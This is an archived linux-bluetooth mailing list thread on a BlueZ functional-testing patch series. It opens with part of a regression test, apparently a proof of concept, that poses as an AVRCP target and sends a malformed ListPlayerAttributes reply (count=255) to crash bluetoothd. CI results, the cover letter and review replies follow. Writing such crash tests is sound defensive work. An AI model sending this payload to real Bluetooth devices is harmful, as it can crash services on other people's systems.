+
+    def avc_frame(ctype, payload):
+        return bytes([ctype & 0x0F, AVC_SUBUNIT_PANEL << 3, AVC_OP_VENDORDEP]) + payload
+
+    def avrcp_pdu(pdu_id, params, packet_type=0):
+        return (
+            COMPANY_BTSIG
+            + bytes([pdu_id, packet_type])
+            + struct.pack(">H", len(params))
+            + params
+        )
+
+    def parse_avctp(data):
+        if len(data) < 3:
+            return None
+        return (data[0] >> 4, (data[0] >> 1) & 1, data[3:])
+
+    def parse_vendor(payload):
+        if len(payload) < 10 or payload[2] != AVC_OP_VENDORDEP:
+            return None
+        pdu_id = payload[6]
+        length = struct.unpack(">H", payload[8:10])[0]
+        return payload[0] & 0x0F, pdu_id, payload[10 : 10 + length]
+
+    class AvrcpTarget:
+        def __init__(self):
+            self.fd = -1
+            self.event = threading.Event()
+
+        def response(self, transaction, ctype, pdu):
+            frame = avctp_header(transaction, AVCTP_RESPONSE) + avc_frame(ctype, pdu)
+            print("-> " + hexdump(frame), flush=True)
+            send_all(self.fd, frame)
+
+        def loop(self):
+            while self.fd >= 0:
+                data = recv_one(self.fd)
+                if data == b"":
+                    print("[*] peer closed AVCTP", flush=True)
+                    return
+
+                print("<- " + hexdump(data), flush=True)
+                header = parse_avctp(data)
+                if not header:
+                    continue
+                transaction, command_response, payload = header
+                if command_response != AVCTP_COMMAND:
+                    continue
+
+                vendor = parse_vendor(payload)
+                if not vendor:
+                    send_all(
+                        self.fd,
+                        avctp_header(transaction, AVCTP_RESPONSE)
+                        + bytes([AVC_CTYPE_ACCEPTED])
+                        + payload[1:],
+                    )
+                    continue
+
+                _, pdu_id, params = vendor
+                if pdu_id == PDU_GET_CAPABILITIES:
+                    caps = bytes([CAP_EVENTS_SUPPORTED, 1, EVENT_TRACK_CHANGED])
+                    self.response(
+                        transaction,
+                        AVC_CTYPE_STABLE,
+                        avrcp_pdu(PDU_GET_CAPABILITIES, caps),
+                    )
+                elif pdu_id == PDU_LIST_PLAYER_ATTRS:
+                    evil = bytes([0xFF]) + bytes(
+                        (index % 4) + 1 for index in range(255)
+                    )
+                    print(
+                        "[+] answering ListPlayerAttributes with count=255", flush=True
+                    )
+                    self.response(
+                        transaction,
+                        AVC_CTYPE_STABLE,
+                        avrcp_pdu(PDU_LIST_PLAYER_ATTRS, evil),
+                    )
+
+                    self.event.set()
+                elif pdu_id == PDU_GET_CURRENT_PLAYER_VALUE:
+                    print(
+                        "[+] received current-player-value data: %s" % hexdump(params),
+                        flush=True,
+                    )
+                elif pdu_id == PDU_REGISTER_NOTIFICATION:
+                    print("[*] RegisterNotification: %s" % hexdump(params), flush=True)
+                else:
+                    self.response(transaction, 0x0A, avrcp_pdu(pdu_id, b"\x00"))
+
+    class Profile(dbus.service.Object):
+        def __init__(self, bus, path, target):
+            super().__init__(bus, path)
+            self.target = target
+            self.fd = -1
+
+        @dbus.service.method("org.bluez.Profile1", in_signature="", out_signature="")
+        def Release(self):
+            self.close()
+
+        @dbus.service.method("org.bluez.Profile1", in_signature="", out_signature="")
+        def Cancel(self):
+            pass
+
+        @dbus.service.method(
+            "org.bluez.Profile1", in_signature="oha{sv}", out_signature=""
+        )
+        def NewConnection(self, device, fd, properties):
+            self.close()
+            self.fd = fd.take()
+            os.set_blocking(self.fd, True)
+            self.target.fd = self.fd
+            print("[+] AVRCP connection from %s" % device, flush=True)
+            threading.Thread(target=self.target.loop, daemon=True).start()
+
+        @dbus.service.method("org.bluez.Profile1", in_signature="o", out_signature="")
+        def RequestDisconnection(self, device):
+            self.close()
+
+        def wait_done(self):
+            return self.target.event.wait()
+
+        def close(self):
+            if self.fd >= 0:
+                try:
+                    os.close(self.fd)
+                except OSError:
+                    pass
+                self.fd = -1
+                self.target.fd = -1
+
+    def register_profile(bus, target):
+        profile = Profile(bus, "/bluez_poc/nn20260145", target)
+        manager = dbus.Interface(
+            bus.get_object("org.bluez", "/org/bluez"), "org.bluez.ProfileManager1"
+        )
+        options = {
+            "ServiceRecord": dbus.String(SDP_TG_RECORD),
+            "Role": dbus.String("server"),
+            "PSM": dbus.UInt16(PSM_AVCTP),
+            "RequireAuthentication": dbus.Boolean(False),
+            "RequireAuthorization": dbus.Boolean(False),
+        }
+        manager.RegisterProfile(
+            dbus.ObjectPath("/bluez_poc/nn20260145"),
+            dbus.String(str(uuid.uuid4())),
+            options,
+        )
+        print("[+] AVRCP Target profile registered on PSM 0x17", flush=True)
+        return profile
+
+    target = AvrcpTarget()
+    return register_profile(bus, target)
diff --git a/test/functional/test_obex.py b/test/functional/test_obex.py
index 345b61326..79a217eae 100644
--- a/test/functional/test_obex.py
+++ b/test/functional/test_obex.py
@@ -186,17 +186,6 @@ class ObexClient(HostPlugin, EventPluginMixin):
         return properties["Filename"]
 
 
-@pytest.fixture
-def paired_hosts(hosts):
-    from .test_agent import test_agent_pair_bredr
-
-    if hosts[0].agent.has_device(hosts[1].bdaddr):
-        return hosts
-
-    test_agent_pair_bredr(hosts, True)
-    return hosts
-
-
 obex_host_config = host_config(
     [Agent(), Obexd(), ObexClient(), Pexpect()],
     [Agent(), Obexd(), ObexAgent()],
@@ -205,11 +194,11 @@ obex_host_config = host_config(
 
 
 @pytest.fixture
-def obex_hosts(paired_hosts):
-    host0, host1 = paired_hosts
+def obex_hosts(paired_hosts_bredr):
+    host0, host1 = paired_hosts_bredr
 
     if hasattr(host0, "session"):
-        return paired_hosts
+        return paired_hosts_bredr
 
     host0.obex.connect(host1.bdaddr)
 
@@ -219,7 +208,7 @@ def obex_hosts(paired_hosts):
 
     host0.obex.expect("org.bluez.obex.Client1.CreateSession:reply")
 
-    yield paired_hosts
+    yield paired_hosts_bredr
 
     host1.obex_agent.cleanup()
 
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 20+ messages in thread

* RE: Functional/integration testing
  2026-09-06 16:49 ` [PATCH BlueZ v7 1/9] doc: add functional/integration testing documentation Pauli Virtanen
@ 2026-09-06 18:29   ` bluez.test.bot
  0 siblings, 0 replies; 20+ messages in thread
From: bluez.test.bot @ 2026-09-06 18:29 UTC (permalink / raw)
  To: linux-bluetooth, pav

[-- Attachment #1: Type: text/plain, Size: 1989 bytes --]

This is automated email and please do not reply to this email!

Dear submitter,

Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/project/bluetooth/list/?series=1159124

---Test result---

Test Summary:
CheckPatch                    FAIL      4.40 seconds
GitLint                       PASS      3.00 seconds
BuildEll                      PASS      20.48 seconds
BluezMake                     PASS      561.12 seconds
MakeCheck                     PASS      19.92 seconds
MakeDistcheck                 PASS      154.78 seconds
CheckValgrind                 PASS      223.37 seconds
CheckSmatch                   PASS      299.24 seconds
bluezmakeextell               PASS      98.04 seconds
IncrementalBuild              PASS      593.09 seconds
ScanBuild                     PASS      874.61 seconds

Details
##############################
Test: CheckPatch - FAIL
Desc: Run checkpatch.pl script
Output:
[BlueZ,v7,2/9] test: add functional/integration testing framework
ERROR:EXECUTE_PERMISSIONS: do not set execute permissions for source files
#451: FILE: test/test-functional

ERROR:EXECUTE_PERMISSIONS: do not set execute permissions for source files
#478: FILE: test/test-functional-attach

/github/workspace/src/patch/14794355.patch total: 2 errors, 0 warnings, 308 lines checked

NOTE: For some of the reported defects, checkpatch may be able to
      mechanically convert to the typical style using --fix or --fix-inplace.

/github/workspace/src/patch/14794355.patch has style problems, please review.

NOTE: Ignored message types: COMMIT_MESSAGE COMPLEX_MACRO CONST_STRUCT FILE_PATH_CHANGES MISSING_SIGN_OFF PREFER_PACKED SPDX_LICENSE_TAG SPLIT_STRING SSCANF_TO_KSTRTO

NOTE: If any of the errors are false positives, please report
      them to the maintainer, see CHECKPATCH in MAINTAINERS.




https://github.com/bluez/bluez/pull/2498

---
Regards,
Linux Bluetooth


^ permalink raw reply	[flat|nested] 20+ messages in thread

* Re: [PATCH BlueZ v7 0/9] Functional/integration testing
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
                   ` (8 preceding siblings ...)
  2026-09-06 16:49 ` [PATCH BlueZ v7 9/9] test: functional: add test for AVRCP crash Pauli Virtanen
@ 2026-09-08 17:48 ` Luiz Augusto von Dentz
  2026-09-08 18:33   ` Pauli Virtanen
  2026-09-08 19:20 ` patchwork-bot+bluetooth
  2026-09-08 20:00 ` patchwork-bot+bluetooth
  11 siblings, 1 reply; 20+ messages in thread
From: Luiz Augusto von Dentz @ 2026-09-08 17:48 UTC (permalink / raw)
  To: Pauli Virtanen; +Cc: linux-bluetooth

Hi Pauli,

On Sun, Sep 6, 2026 at 12:50 PM Pauli Virtanen <pav@iki.fi> wrote:
>
> Add framework for writing tests simulating "real" environments where
> BlueZ and other parts of the stack run on different virtual machine
> hosts that communicate with each other.
>
> *** v7 ***
>
> * Bump to pytest-bluezenv==0.1.9 (better core dump / oops reporting)
>
> * Add test/functional/test_adv_monitor.py (one crash POC test)
>
> * Add test/functional/test_avrcp.py (one crash POC test)
>
>   Note that current bluez master branch does not pass this one,
>   it is fixed by
>   https://patchwork.kernel.org/project/bluetooth/patch/20260901175315.1348621-1-luiz.dentz@gmail.com/
>
> * Add test/functional/test_kernel_testers.py (runs tools/*-tester)
>
> * Bump VMs to 400M memory, ASAN builds on Ubuntu need it
>
> * Make tests fail on core dump / kernel bug
>
> *** v6 ***
>
> * Fix minor issues in documentation and shellcheck warnings.
>
> * Bump to latest pytest-bluezenv==0.1.6
>
> * NOTE: hci_uart is partly broken in current bluetooth-next / 7.1 kernel,
>   which causes some of the tests here fail sporadically. Needs the following patch:
>
>   https://lore.kernel.org/linux-bluetooth/6888691461070a011d31632e6dcbfd73016dcc6e.1781364475.git.pav@iki.fi/
>
> *** v5 ***
>
> https://github.com/pv/bluez/compare/func-test-v4-r..func-test-v5
>
> * Factor out the pytest-bluezenv plugin, to be maintained separately.
>   https://pypi.org/project/pytest-bluezenv/
>
>   It could in principle be moved under the BlueZ organization, but
>   there's no particular reason why it should be in bluez repository.
>
>   Generally, it's better to have the pytest plugin separate so it's
>   easier to reuse and can have its own version cycle.
>
> * Pipewire tests are moved to pipewire repository where they probably
>   belong to.
>
>   They can be run easily vs. given BlueZ build dir.
>
>   We are currently running them in Pipewire CI, but at frozen
>   kernel/BlueZ version, so it is not testing BlueZ/kernel upstream
>   development.
>
> * No changes in the emulator/test-runner patches since v4
>
>   They are stand-alone bug fixes / improvements, and make sense
>   also separately from the rest.
>
> *** v4 ***
>
> https://github.com/pv/bluez/compare/func-test-v3-r..func-test-v4
>
> * Use virtconsole for simpler HCI forwarding to the vm
>
> * Fix typoed vm_module -> vm_once
>
> * Skip tests for some pipewire versions
>
> *** v3 ***
>
> https://github.com/pv/bluez/compare/func-test-v2-r..func-test-v3
>
> * fix configure.ac openpty() detection to match TOOLS conditional,
>   to fix make distcheck
>
> * properly retry virtio RPC connection if it fails initially
>
> * properly restart VM if previous test hangs
>
> * allow custom parent host side proxy objects, use them for pexpect
>
> * improve --list with out-of-tree test files
>
> * fix missing bus.set_exit_on_disconnect(False) for obex tests
>
> * have --vm-timeout etc. change values also on VM host side
>
> * use larger-memory VM instances for Pipewire, in case ASAN enabled
>
> * set reasonable inside-VM ASAN_OPTION default values
>
> * don't run btvirt under stdbuf, since not compatible with ASAN
>
> *** v2 ***
>
> https://github.com/pv/bluez/compare/func-test-v1-r..func-test-v2
>
> * move unit/func_test -> test/functional & test/pytest_bluez
>
>   The pytest_bluez plugin is in principle reusable for other projects,
>   so we can eg. have more complete Pipewire integration tests that can
>   live in Pipewire repository.
>
> * openpty() is in -lutil on some platforms, detect this in autoconf
>
> * more emulator adjustments:
>
>   - fix SCO data packet support in btvirt
>   - more complete Reset command
>
> * improve logging: get timestamps from kernel, and reorder logs
>   to timestamp order, so that lines from different hosts, btmon,
>   and parent tester appear in right order regardless of whether
>   VM console / btmon is lagging
>
>   - this requires accurate clock sync in the VM, so enable KVM PTP in
>     config and run chronyd inside the VMs
>   - use virtio port instead of qemu console to export logs, since the
>     console has fixed baud rate and is too slow
>
> * add --btmon & export btsnoop dumps from VM hosts
>
> * fix compatibility with older Python versions
>
> * add parametrized_host_config()
>
> * split Pipewire test to A2DP/BAP/HFP and really stream audio.
>   These catch the 5.86 regression fixed in 066a164a524e498 and
>   the 5.84 one in 6b0a08776a
>
> * add support for tests that reuse tester environment, so they can run
>   faster without needing Bluetoothd teardown/setup in between
>
> * add HostPlugin.presetup (mainly for test skipping)
>
> * deal with RPC virtio port buffer possibly containing unflushed
>   commands from previous failed test
>
> * add some Agent1 interface tests
>
> * add basic Obex file transfer tests
>
> * add support for logging in to a running test instance (for gdb etc)
>
> * export any core dumps out from test environ
>
> Some bells & whistles:
>
> * add --kernel-build for kernel image build
>
> * test suite Python code formatting checks
>
> ***
>
> Implements:
>
> - RPC communication with tester instances running each of the VM hosts.
>   Tests run on parent host, which instructs VM hosts what to do.
>
> - Extensible way to add stateful test-specific code inside the VM
>   instances
>
> - Logging control: output from different processes running inside the VM
>   are separated and can be filtered.
>
> - Test runner framework with Pytest (more convenient than Python/unittest)
>
> - Automatic grouping of tests to minimize VM reboots
>
> - Redirecting USB controllers to use for testing in addition to btvirt
>
> - Fairly straightforward, ~1600 sloc for the framework
>
> There is no requirement that the tests spawn VM instances, the test
> runner can be used for any tests written in Python.
>
> See doc/test-functional.rst for various examples.
>
> Also test/functional/test_bluetoothctl_vm.py has some simple cases, and
> test/functional/test_pipewire.py for a more complicated setup
>
>     host0(qemu): Pipewire <-> BlueZ <-> kernel
>     <-> btvirt
>     host1(qemu): kernel <-> BlueZ <-> Pipewire
>
> The framework allows easily passing any data and code between the parent
> and VM hosts, so writing tests is straightforward.
>
> Pauli Virtanen (9):
>   doc: add functional/integration testing documentation
>   test: add functional/integration testing framework
>   build: add functional testing target
>   test: functional: impose Python code formatting
>   test: functional: add some Agent1 interface tests
>   test: functional: add basic obex file transfer tests
>   test: functional: add tests running the various kernel testers
>   test: functional: add test for adv_monitor crash
>   test: functional: add test for AVRCP crash
>
>  Makefile.am                            |  10 +
>  configure.ac                           |  22 ++
>  doc/test-functional.rst                | 331 +++++++++++++++++++++++++
>  test/functional/__init__.py            |   2 +
>  test/functional/conftest.py            |  76 ++++++
>  test/functional/requirements.txt       |   3 +
>  test/functional/test_adv_monitor.py    | 123 +++++++++
>  test/functional/test_agent.py          |  47 ++++
>  test/functional/test_avrcp.py          | 281 +++++++++++++++++++++
>  test/functional/test_bluetoothctl.py   | 161 ++++++++++++
>  test/functional/test_btmgmt.py         |  34 +++
>  test/functional/test_kernel_testers.py | 178 +++++++++++++
>  test/functional/test_obex.py           | 275 ++++++++++++++++++++
>  test/functional/test_tests.py          |  24 ++
>  test/pytest.ini                        |  25 ++
>  test/test-functional                   |  21 ++
>  test/test-functional-attach            |   7 +
>  17 files changed, 1620 insertions(+)
>  create mode 100644 doc/test-functional.rst
>  create mode 100644 test/functional/__init__.py
>  create mode 100644 test/functional/conftest.py
>  create mode 100644 test/functional/requirements.txt
>  create mode 100644 test/functional/test_adv_monitor.py
>  create mode 100644 test/functional/test_agent.py
>  create mode 100644 test/functional/test_avrcp.py
>  create mode 100644 test/functional/test_bluetoothctl.py
>  create mode 100644 test/functional/test_btmgmt.py
>  create mode 100644 test/functional/test_kernel_testers.py
>  create mode 100644 test/functional/test_obex.py
>  create mode 100644 test/functional/test_tests.py
>  create mode 100644 test/pytest.ini
>  create mode 100755 test/test-functional
>  create mode 100755 test/test-functional-attach
>
> --
> 2.55.0

It took me some time to figure out how to pass the kernel to
bootstrap-configure/configure, perhaps we should update the
documentation regarding make check-functional and make check:

 > bootstrap-configure --enable-functional-testing=/pathto/bzImage

After this, there still seem to be some errors, I guess the kernel
testers we should consider the tests unstable until we fix them all or
perhaps we should skip them for make check[-functional] because they
are really kernel testers not bluetoothd, but it also fails with the
new AVRCP test:

test/functional/test_tests.py::test_formatting PASSED

          [  3%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-mgmt-tester]
XFAIL (Read Exp Feature - Success)                               [
7%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-smp-tester]
PASSED                                                            [
11%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-l2cap-tester]
PASSED                                                          [ 14%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-rfcomm-tester]
PASSED                                                         [ 18%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-rfcomm-tester]
ERROR                                                          [ 18%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-sco-tester]
PASSED                                                            [
22%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-iso-tester]
PASSED                                                            [
25%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-mesh-tester]
XFAIL (Mesh - Send cancel - 1, Mesh - Send cancel - 2)           [
29%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-ioctl-tester]
PASSED                                                          [ 33%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-bnep-tester]
PASSED                                                           [
37%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-userchan-tester]
PASSED                                                       [ 40%]
test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-6lowpan-tester]
FAILED                                                        [ 44%]
test/functional/test_kernel_testers.py::test_kernel_selftest[hosts7-vm1-noc]
SKIPPED (CONFIG_BT_SELFTEST not enabled)
    [ 48%]
test/functional/test_adv_monitor.py::test_adv_monitor_GHSA_hhgc_hfgf_8m4x[hosts0-vm1]
PASSED                                                            [
51%]
test/functional/test_bluetoothctl.py::test_bluetoothctl_show[hosts3-vm1]
PASSED
        [ 55%]
test/functional/test_bluetoothctl.py::test_bluetoothctl_list[hosts3-vm1]
PASSED
        [ 59%]
test/functional/test_bluetoothctl.py::test_bluetoothctl_script_show[hosts3-vm1]
PASSED
 [ 62%]
test/functional/test_bluetoothctl.py::test_bluetoothctl_script_list[hosts3-vm1]
PASSED
 [ 66%]
test/functional/test_btmgmt.py::test_btmgmt_info[hosts6-vm1] PASSED

          [ 70%]
test/functional/test_agent.py::test_agent_pair_bredr[accept-hosts1-vm2]
PASSED
         [ 74%]
test/functional/test_agent.py::test_agent_pair_bredr[reject-hosts1-vm2]
PASSED
         [ 77%]
test/functional/test_avrcp.py::test_avrcp_GHSA_m2vx_pw5f_rc8v[hosts2-vm2]
FAILED
       [ 81%]
test/functional/test_avrcp.py::test_avrcp_GHSA_m2vx_pw5f_rc8v[hosts2-vm2]
ERROR
       [ 81%]
test/functional/test_bluetoothctl.py::test_bluetoothctl_pair_bredr[hosts4-vm2]
PASSED
  [ 85%]
test/functional/test_bluetoothctl.py::test_bluetoothctl_pair_le[hosts5-vm2]
PASSED
     [ 88%]
test/functional/test_obex.py::test_obex_ftp_list[hosts8-vm2] PASSED

          [ 92%]
test/functional/test_obex.py::test_obex_ftp_get[hosts8-vm2] PASSED

          [ 96%]
test/functional/test_obex.py::test_obexctl_list[hosts8-vm2] PASSED

          [100%]



-- 
Luiz Augusto von Dentz

^ permalink raw reply	[flat|nested] 20+ messages in thread

* Re: [PATCH BlueZ v7 0/9] Functional/integration testing
  2026-09-08 17:48 ` [PATCH BlueZ v7 0/9] Functional/integration testing Luiz Augusto von Dentz
@ 2026-09-08 18:33   ` Pauli Virtanen
  0 siblings, 0 replies; 20+ messages in thread
From: Pauli Virtanen @ 2026-09-08 18:33 UTC (permalink / raw)
  To: Luiz Augusto von Dentz; +Cc: linux-bluetooth

Hi,

ti, 2026-09-08 kello 13:48 -0400, Luiz Augusto von Dentz kirjoitti:
[clip]
> It took me some time to figure out how to pass the kernel to
> bootstrap-configure/configure, perhaps we should update the
> documentation regarding make check-functional and make check:
> 
>  > bootstrap-configure --enable-functional-testing=/pathto/bzImage
> 
> After this, there still seem to be some errors, I guess the kernel
> testers we should consider the tests unstable until we fix them all or
> perhaps we should skip them for make check[-functional] because they
> are really kernel testers not bluetoothd, but it also fails with the
> new AVRCP test:

We can skip kernel testers for check-functional.

The kernel testers currently pick up the rfcomm cyclic locking bug, so
that is a real failure.

Something is wrong with the l2cap-tester LL Privacy tests, they are
flaky also on bluez testbot.

Don't know what the 6lowpan-tester failure is below, haven't seen that
fail here.

The AVRCP failure is expected as noted in the cover letter since it
tests this which is not merged:
https://lore.kernel.org/linux-bluetooth/20260901175315.1348621-1-luiz.dentz@gmail.com/

> test/functional/test_tests.py::test_formatting PASSED
> 
>           [  3%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-mgmt-tester]
> XFAIL (Read Exp Feature - Success)                               [
> 7%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-smp-tester]
> PASSED                                                            [
> 11%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-l2cap-tester]
> PASSED                                                          [ 14%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-rfcomm-tester]
> PASSED                                                         [ 18%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-rfcomm-tester]
> ERROR                                                          [ 18%]

This is probably the cyclic locking error.

> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-sco-tester]
> PASSED                                                            [
> 22%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-iso-tester]
> PASSED                                                            [
> 25%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-mesh-tester]
> XFAIL (Mesh - Send cancel - 1, Mesh - Send cancel - 2)           [
> 29%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-ioctl-tester]
> PASSED                                                          [ 33%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-bnep-tester]
> PASSED                                                           [
> 37%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-userchan-tester]
> PASSED                                                       [ 40%]
> test/functional/test_kernel_testers.py::test_kernel_tester[hosts7-vm1-noc-6lowpan-tester]
> FAILED                                                        [ 44%]

I haven't seen failures in 6lowpan-tester

> test/functional/test_kernel_testers.py::test_kernel_selftest[hosts7-vm1-noc]
> SKIPPED (CONFIG_BT_SELFTEST not enabled)
>     [ 48%]
> test/functional/test_adv_monitor.py::test_adv_monitor_GHSA_hhgc_hfgf_8m4x[hosts0-vm1]
> PASSED                                                            [
> 51%]
> test/functional/test_bluetoothctl.py::test_bluetoothctl_show[hosts3-vm1]
> PASSED
>         [ 55%]
> test/functional/test_bluetoothctl.py::test_bluetoothctl_list[hosts3-vm1]
> PASSED
>         [ 59%]
> test/functional/test_bluetoothctl.py::test_bluetoothctl_script_show[hosts3-vm1]
> PASSED
>  [ 62%]
> test/functional/test_bluetoothctl.py::test_bluetoothctl_script_list[hosts3-vm1]
> PASSED
>  [ 66%]
> test/functional/test_btmgmt.py::test_btmgmt_info[hosts6-vm1] PASSED
> 
>           [ 70%]
> test/functional/test_agent.py::test_agent_pair_bredr[accept-hosts1-vm2]
> PASSED
>          [ 74%]
> test/functional/test_agent.py::test_agent_pair_bredr[reject-hosts1-vm2]
> PASSED
>          [ 77%]
> test/functional/test_avrcp.py::test_avrcp_GHSA_m2vx_pw5f_rc8v[hosts2-vm2]
> FAILED
>        [ 81%]
> test/functional/test_avrcp.py::test_avrcp_GHSA_m2vx_pw5f_rc8v[hosts2-vm2]
> ERROR
>        [ 81%]

This one is 
https://lore.kernel.org/linux-bluetooth/20260901175315.1348621-1-luiz.dentz@gmail.com/

> test/functional/test_bluetoothctl.py::test_bluetoothctl_pair_bredr[hosts4-vm2]
> PASSED
>   [ 85%]
> test/functional/test_bluetoothctl.py::test_bluetoothctl_pair_le[hosts5-vm2]
> PASSED
>      [ 88%]
> test/functional/test_obex.py::test_obex_ftp_list[hosts8-vm2] PASSED
> 
>           [ 92%]
> test/functional/test_obex.py::test_obex_ftp_get[hosts8-vm2] PASSED
> 
>           [ 96%]
> test/functional/test_obex.py::test_obexctl_list[hosts8-vm2] PASSED
> 
>           [100%]
> 
> 

-- 
Pauli Virtanen

^ permalink raw reply	[flat|nested] 20+ messages in thread

* Re: [PATCH BlueZ v7 0/9] Functional/integration testing
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
                   ` (9 preceding siblings ...)
  2026-09-08 17:48 ` [PATCH BlueZ v7 0/9] Functional/integration testing Luiz Augusto von Dentz
@ 2026-09-08 19:20 ` patchwork-bot+bluetooth
  2026-09-09 18:56   ` Luiz Augusto von Dentz
  2026-09-08 20:00 ` patchwork-bot+bluetooth
  11 siblings, 1 reply; 20+ messages in thread
From: patchwork-bot+bluetooth @ 2026-09-08 19:20 UTC (permalink / raw)
  To: Pauli Virtanen; +Cc: linux-bluetooth

Hello:

This series was applied to bluetooth/bluez.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:

On Sun,  6 Sep 2026 19:49:42 +0300 you wrote:
> Add framework for writing tests simulating "real" environments where
> BlueZ and other parts of the stack run on different virtual machine
> hosts that communicate with each other.
> 
> *** v7 ***
> 
> * Bump to pytest-bluezenv==0.1.9 (better core dump / oops reporting)
> 
> [...]

Here is the summary with links:
  - [BlueZ,v7,1/9] doc: add functional/integration testing documentation
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=19a5bbd7eee2
  - [BlueZ,v7,2/9] test: add functional/integration testing framework
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=fa9390b5cee3
  - [BlueZ,v7,3/9] build: add functional testing target
    (no matching commit)
  - [BlueZ,v7,4/9] test: functional: impose Python code formatting
    (no matching commit)
  - [BlueZ,v7,5/9] test: functional: add some Agent1 interface tests
    (no matching commit)
  - [BlueZ,v7,6/9] test: functional: add basic obex file transfer tests
    (no matching commit)
  - [BlueZ,v7,7/9] test: functional: add tests running the various kernel testers
    (no matching commit)
  - [BlueZ,v7,8/9] test: functional: add test for adv_monitor crash
    (no matching commit)
  - [BlueZ,v7,9/9] test: functional: add test for AVRCP crash
    (no matching commit)

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply	[flat|nested] 20+ messages in thread

* Re: [PATCH BlueZ v7 0/9] Functional/integration testing
  2026-09-06 16:49 [PATCH BlueZ v7 0/9] Functional/integration testing Pauli Virtanen
                   ` (10 preceding siblings ...)
  2026-09-08 19:20 ` patchwork-bot+bluetooth
@ 2026-09-08 20:00 ` patchwork-bot+bluetooth
  11 siblings, 0 replies; 20+ messages in thread
From: patchwork-bot+bluetooth @ 2026-09-08 20:00 UTC (permalink / raw)
  To: Pauli Virtanen; +Cc: linux-bluetooth

Hello:

This series was applied to bluetooth/bluez.git (master)
by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:

On Sun,  6 Sep 2026 19:49:42 +0300 you wrote:
> Add framework for writing tests simulating "real" environments where
> BlueZ and other parts of the stack run on different virtual machine
> hosts that communicate with each other.
> 
> *** v7 ***
> 
> * Bump to pytest-bluezenv==0.1.9 (better core dump / oops reporting)
> 
> [...]

Here is the summary with links:
  - [BlueZ,v7,1/9] doc: add functional/integration testing documentation
    (no matching commit)
  - [BlueZ,v7,2/9] test: add functional/integration testing framework
    (no matching commit)
  - [BlueZ,v7,3/9] build: add functional testing target
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=af075cdc0937
  - [BlueZ,v7,4/9] test: functional: impose Python code formatting
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=9f223eb701e3
  - [BlueZ,v7,5/9] test: functional: add some Agent1 interface tests
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=b626b5893f45
  - [BlueZ,v7,6/9] test: functional: add basic obex file transfer tests
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=b73c31b53020
  - [BlueZ,v7,7/9] test: functional: add tests running the various kernel testers
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=a321411065b1
  - [BlueZ,v7,8/9] test: functional: add test for adv_monitor crash
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=2bbf2db84c2b
  - [BlueZ,v7,9/9] test: functional: add test for AVRCP crash
    https://git.kernel.org/pub/scm/bluetooth/bluez.git/?id=24fa99283d9f

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html



^ permalink raw reply	[flat|nested] 20+ messages in thread

* Re: [PATCH BlueZ v7 0/9] Functional/integration testing
  2026-09-08 19:20 ` patchwork-bot+bluetooth
@ 2026-09-09 18:56   ` Luiz Augusto von Dentz
  2026-09-10 17:47     ` Luiz Augusto von Dentz
  0 siblings, 1 reply; 20+ messages in thread
From: Luiz Augusto von Dentz @ 2026-09-09 18:56 UTC (permalink / raw)
  To: patchwork-bot+bluetooth; +Cc: Pauli Virtanen, linux-bluetooth

Hi Pauli,

On Tue, Sep 8, 2026 at 5:48 PM <patchwork-bot+bluetooth@kernel.org> wrote:
>
> Hello:
>
> This series was applied to bluetooth/bluez.git (master)
> by Luiz Augusto von Dentz <luiz.von.dentz@intel.com>:
>
> On Sun,  6 Sep 2026 19:49:42 +0300 you wrote:
> > Add framework for writing tests simulating "real" environments where
> > BlueZ and other parts of the stack run on different virtual machine
> > hosts that communicate with each other.
> >
> > *** v7 ***
> >
> > * Bump to pytest-bluezenv==0.1.9 (better core dump / oops reporting)
> >
> > [...]
>
> Here is the summary with links:
>   - [BlueZ,v7,1/9] doc: add functional/integration testing documentation
